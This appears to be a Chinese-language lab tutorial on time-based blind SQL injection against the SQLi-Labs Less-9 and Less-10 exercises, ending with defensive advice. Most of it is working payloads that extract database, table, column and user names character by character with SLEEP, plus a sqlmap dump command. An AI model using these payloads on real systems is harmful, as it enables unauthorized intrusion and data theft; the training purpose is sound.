SQLi-Labs 的 Less-9 和 Less-10 是典型的延时注入练习关卡:
- Less-9:基于 GET 请求,页面无论注入是否成功只返回固定内容("You are in..."),无法通过页面内容判断注入结果,适合延时注入。
- Less-10:基于 POST 请求,同样是盲注场景,需通过延时注入获取数据。
环境假设:
- 数据库:MySQL
- 目标 URL(以 Less-9 为例):http://localhost/sqli-labs/Less-9/?id=1
- 后端查询语句(推测):SELECT * FROM users WHERE id='$id' LIMIT 0,1
- 页面响应:无论注入是否成功,页面内容不变,但响应时间可被操控。
2. 延时注入原理
延时注入利用数据库的延时函数(如 MySQL 的 SLEEP())构造条件语句,通过响应时间判断条件是否成立:
- 如果条件为真,数据库执行延时,响应时间变长(例如延迟 5 秒)。
- 如果条件为假,数据库不延时,响应正常。
典型 Payload:
1' AND IF(condition, SLEEP(5), 0) --
- condition:测试的条件(如数据库名、表名、数据的某个字符)。
- SLEEP(5):条件为真时暂停 5 秒。
- 0:条件为假时不暂停。
3. 延时注入实践步骤(以 Less-9 为例)
步骤 1:确认注入点
-
访问目标 URL:
http://localhost/sqli-labs/Less-9/?id=1
页面返回固定内容:"You are in..."。
-
测试注入可能性: 输入以下 URL,测试是否支持延时注入:
http://localhost/sqli-labs/Less-9/?id=1' AND SLEEP(5) --
- 如果页面响应延迟约 5 秒,说明注入点存在且支持延时函数。
- 如果无延迟,尝试其他注入方式或检查语法。
-
确认注入类型:
- 尝试单引号、双引号、括号等,确认参数是否被引号包裹。
- 示例:?id=1' 若延迟,说明是字符型注入;若需 ?id=1 AND SLEEP(5) 才延迟,可能是数字型注入。
在 Less-9 中,注入点通常是字符型,需闭合单引号。
步骤 2:验证延时注入可行性
构造一个恒真的条件测试:
http://localhost/sqli-labs/Less-9/?id=1' AND IF(1=1, SLEEP(5), 0) --
- 如果响应延迟 5 秒,说明 1=1 为真,延时注入可行。
- 再测试恒假条件:
http://localhost/sqli-labs/Less-9/?id=1' AND IF(1=2, SLEEP(5), 0) --
- 如果无延迟,确认延时注入有效。
步骤 3:获取数据库信息
延时注入通常用于逐字符猜测数据库信息。以下以获取当前数据库名为例:
-
猜测数据库名长度:
http://localhost/sqli-labs/Less-9/?id=1' AND IF(LENGTH(database())=8, SLEEP(5), 0) --
- 如果延迟,说明数据库名长度为 8;否则尝试其他长度(7、9 等)。
- SQLi-Labs 默认数据库名为 security,长度为 8。
-
逐字符猜测数据库名: 使用 SUBSTR 和 ASCII 函数猜测每个字符的 ASCII 值:
text
Copy
http://localhost/sqli-labs/Less-9/?id=1' AND IF(ASCII(SUBSTR(database(),1,1))=115, SLEEP(5), 0) --
- 如果延迟,说明第一个字符 ASCII 值为 115(即 's')。
- 否则尝试其他值(97-122 对应小写字母,65-90 对应大写字母)。
- 依次猜测后续字符(位置 2、3...),直至得到完整数据库名 security。
示例 Payload:
- 第二个字符:
http://localhost/sqli-labs/Less-9/?id=1' AND IF(ASCII(SUBSTR(database(),2,1))=101, SLEEP(5), 0) --
- 延迟,确认第二个字符为 'e'(ASCII 101)。
步骤 4:获取表名、列名和数据
- 获取表名: 猜测 information_schema.tables 中的表名:
http://localhost/sqli-labs/Less-9/?id=1' AND IF(ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1))=117, SLEEP(5), 0) --
- 如果延迟,说明第一个表名首字符为 'u'(ASCII 117)。
- Less-9 的表可能包括 users。
- 获取列名: 针对表 users:
http://localhost/sqli-labs/Less-9/?id=1' AND IF(ASCII(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1),1,1))=105, SLEEP(5), 0) --
- 猜测列名如 id、username、password。
- 获取数据: 提取 users 表中的数据:
http://localhost/sqli-labs/Less-9/?id=1' AND IF(ASCII(SUBSTR((SELECT username FROM users LIMIT 0,1),1,1))=68, SLEEP(5), 0) --
- 如果延迟,说明第一个用户名首字符为 'D'(ASCII 68,可能为 Dumb)。
步骤 5:自动化攻击
手动逐字符猜测效率低,可使用工具:
- SQLMap:
sqlmap -u "http://localhost/sqli-labs/Less-9/?id=1" --technique=T --dbms=mysql --dump
- --technique=T:指定时间盲注。
- --dump:自动提取数据库内容。
- Burp Suite:使用 Intruder 模块,构造 Payload 循环测试 ASCII 值。
4. Less-9 和 Less-10 的差异
- Less-9(GET):
- 参数通过 URL 传递,适合直接在浏览器或脚本中测试。
- 示例:?id=1' AND SLEEP(5) --
- Less-10(POST):
- 参数通过 POST 请求传递,需使用工具(如 Burp Suite、Postman)或脚本提交。
- 示例 Payload(POST 数据):
id=1' AND IF(ASCII(SUBSTR(database(),1,1))=115, SLEEP(5), 0) --
- 使用 Burp Suite 拦截 POST 请求,修改参数进行测试。
5. 延时注入的特点与挑战
特点:
- 不依赖页面内容,适合盲注场景。
- 可绕过部分 WAF,因为不触发错误页面。
- 通用性强,适用于大多数支持延时函数的数据库。
挑战:
- 速度慢:逐字符猜测需要大量请求。
- 网络干扰:网络延迟可能导致误判,需多次测试确认。
- 环境限制:某些数据库(如 Oracle)无直接延时函数,需构造复杂查询。
6. 防御延时注入(SQLi-Labs 启示)
SQLi-Labs 的漏洞源于未过滤用户输入,实际环境中可通过以下方式防御:
- 参数化查询:
php
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?"); $stmt->execute([$id]);
- 输入过滤:
- 过滤单引号、注释符等特殊字符。
- 使用白名单验证输入格式(如仅允许数字)。
- 限制延时函数:
- 数据库层面禁用 SLEEP 等函数,或使用低权限账户。
- WAF 部署:
- 检测异常响应时间或高频请求。
- 超时限制:
- 应用层设置最大响应时间,降低延时注入效果。
7. 总结
在 SQLi-Labs 的 Less-9 和 Less-10 中,延时注入通过构造 SLEEP 语句,结合条件判断(如 IF、ASCII、SUBSTR),逐字符猜测数据库信息。实践步骤包括确认注入点、验证延时可行性、逐位枚举数据,并可借助 SQLMap 或脚本自动化攻击。延时注入的成功依赖于精准的 Payload 和稳定的网络环境,防御则需从输入验证、参数化查询和权限控制入手。